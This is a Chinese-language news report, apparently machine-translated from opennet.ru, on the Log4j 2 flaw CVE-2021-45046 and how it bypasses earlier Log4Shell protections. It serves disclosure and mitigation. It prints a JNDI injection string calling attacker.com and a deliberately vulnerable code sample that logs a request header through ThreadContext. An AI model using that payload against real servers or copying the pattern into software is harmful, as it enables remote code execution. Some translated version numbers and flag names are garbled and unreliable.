在Log4j 2 庫中的JNDI 查找實現中發現了另一個漏洞(CVE-2021-45046)，儘管在版本2.15 中添加了修復程序，並且無論使用“log4j2.noFormatMsgLookup”設定進行保護，該漏洞還是會出現。這個問題主要對於使用「noFormatMsgLookup」標誌進行保護的舊版 Log4j 2 來說很危險，因為它可以繞過先前漏洞（Log4Shell、CVE-2021-44228）的保護，從而允許您在伺服器。對於版本 2.15 的用戶，利用僅限於導致應用程式因可用資源耗盡而崩潰。
此漏洞僅出現在使用上下文查找進行日誌記錄（例如 ${ctx:loginId}）或 MDC 範本（執行緒上下文對應）（例如 %X、%mdc 和 %MDC）的系統上。操作歸結為在應用程式中使用定義格式化輸出到日誌的規則的上下文查詢或 MDC 範本時，建立將包含 JNDI 替換的資料輸出到日誌的條件。
LunaSec 的研究人員指出，對於低於4 的Log2.15j 版本，如果在日誌輸出中使用包含外部資料的ThreadContext 表達式，無論日誌輸出中是否包含外部數據，則該漏洞都可以作為Log4Shell 攻擊的新載體，導致程式碼執行。「protect」標誌已啟用。noMsgFormatLookups」或範本「%m{nolookups}」。
繞過保護的原因在於，該表達式不是直接替換“${jndi:ldap://attacker.com/a}”，而是透過用於格式化日誌輸出的規則中使用的中間變數的值進行替換。例如，如果輸出到日誌時使用了上下文查詢${ctx:apiversion}，則可以透過將資料「${jndi:ldap://attacker.com/a}」代入到日誌中來進行攻擊。寫入apiversion變數的值。易受攻擊的程式碼範例：appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m %n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // 將「X-Api-Version」HTTP 標頭值傳給ThreadContext ThreadContext.put(" apiversion “，api版本）； // 輸出到日誌時，將使用替換處理外部 apiversion 值 ${ctx:apiversion} logger.info("Received a request for API version");返回「你好，世界！」； }
在Log4j 2.15版本中，此漏洞可用於在傳送值至ThreadContext時執行DoS攻擊，導致輸出格式化範本處理出現迴圈。
為了阻止漏洞，發布了更新 2.16 和 2.12.2。在 Log4j 2.16 分支中，除了 2.15 版本中實現的修復以及將 JNDI LDAP 請求綁定到「localhost」之外，預設情況下完全停用 JNDI 功能，並且刪除了對訊息替換模板的支援。作為安全解決方法，建議從類別路徑中刪除 JndiLookup 類別（例如，“zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”） 。
您可以在發行版（Debian、Ubuntu、RHEL、SUSE、Fedora、Arch）和 Java 平台製造商（GitHub、Docker、Oracle、vmWare、Broadcom 和 Amazon/AWS、Juniper、VMware、思科、IBM、紅帽、MongoDB 、Okta、SolarWinds、賽門鐵克、McAfee、SonicWall、FortiGuard、Ubiquiti、F-Secure 等）。
來源： opennet.ru